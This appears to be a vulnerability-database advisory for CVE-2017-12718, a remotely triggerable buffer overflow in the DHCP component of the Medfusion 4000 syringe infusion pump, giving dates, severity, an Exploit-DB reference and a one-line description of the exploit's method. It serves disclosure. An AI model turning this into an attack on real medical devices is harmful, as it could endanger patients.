A vulnerability was found in Smiths-Medical Medfusion 4000 Wireless Syringe Infusion Pump 1.1/1.5/1.6 (Medical Device Software). It has been declared as critical. This vulnerability affects an unknown function of the component DHCP. The manipulation with an unknown input leads to a memory corruption vulnerability. The CWE definition for the vulnerability is CWE-119. The product performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer. As an impact it is known to affect confidentiality, integrity, and availability. CVE summarizes:

A Classic Buffer Overflow issue was discovered in Smiths Medical Medfusion 4000 Wireless Syringe Infusion Pump, Version 1.1, 1.5, and 1.6. A third-party component used in the pump does not verify input buffer size prior to copying, leading to a buffer overflow, allowing remote code execution on the target device. The pump receives the potentially malicious input infrequently and under certain conditions, increasing the difficulty of exploitation.

The bug was discovered 09/07/2017. The weakness was shared 02/15/2018 by Scott Gayou as EDB-ID 43776 as not defined exploit (Exploit-DB). The advisory is shared for download at exploit-db.com. This vulnerability was named CVE-2017-12718 since 08/09/2017. The attack can be initiated remotely. No form of authentication is required for a successful exploitation. Technical details are unknown but a public exploit is available.

A public exploit has been developed by Scott Gayou in Python and been published immediately after the advisory. It is possible to download the exploit at exploit-db.com. It is declared as proof-of-concept. The vulnerability was handled as a non-public zero-day exploit for at least 161 days. During that time the estimated underground price was around $0-$5k. The code used by the exploit is:

"""Use a default valid DHCP packet to overwrite an event function pointer."""
